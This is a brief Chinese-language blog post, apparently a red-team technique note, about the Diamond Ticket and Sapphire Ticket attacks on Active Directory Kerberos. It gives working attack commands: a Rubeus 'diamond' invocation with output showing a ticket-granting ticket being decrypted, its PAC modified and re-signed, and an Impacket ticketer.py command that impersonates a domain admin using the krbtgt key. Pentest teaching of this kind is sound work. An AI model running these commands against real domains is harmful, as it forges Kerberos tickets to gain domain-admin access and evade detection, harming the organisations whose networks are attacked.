su Jimmy

ZH Diamond Ticket & Sapphire Ticket

Table of contents
An intro to Diamond and Sapphire Tickets, how they differ from Golden and Silver Tickets, and why they are hard to detect.

大家安安, 這篇文章簡單介紹近期比較新的 AD 攻擊手法, Diamond Ticket 和 Sapphire Ticket

Silver & Golden Ticket

簡介

限制 & 可能風險

Diamond Ticket

簡介 & 好處

攻擊指令

	Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS  
	[*] Action: Diamond Ticket
	
	[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
	[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/dc-2.dev.cyberbotic.io'
	[+] Kerberos GSS-API initialization success!
	[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
	[*] Found the AP-REQ delegation ticket in the GSS-API output.
	[*] Authenticator etype: aes256_cts_hmac_sha1
	[*] Extracted the service ticket session key from the ticket cache: +mzV4aOvQx3/dpZGBaVEhccq1t+jhKi8oeCYXkjHXw4=
	[+] Successfully decrypted the authenticator
	[*] base64(ticket.kirbi):
	
	      doIFgz [...snip...] MuSU8=
	
	[*] Decrypting TGT          # here
	[*] Retreiving PAC          # here
	[*] Modifying PAC           # here
	[*] Signing PAC             # here
	[*] Encrypting Modified TGT # here
	
	[*] base64(ticket.kirbi):
	
	doIFYj [...snip...] MuSU8=

Sapphire Ticket

簡介 & 好處

攻擊指令

	ticketer.py -request -impersonate 'domainadmin' -domain 'DOMAIN.FQDN' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'

Reference

Categories: #Technique Tags: #active directory #red team #pentest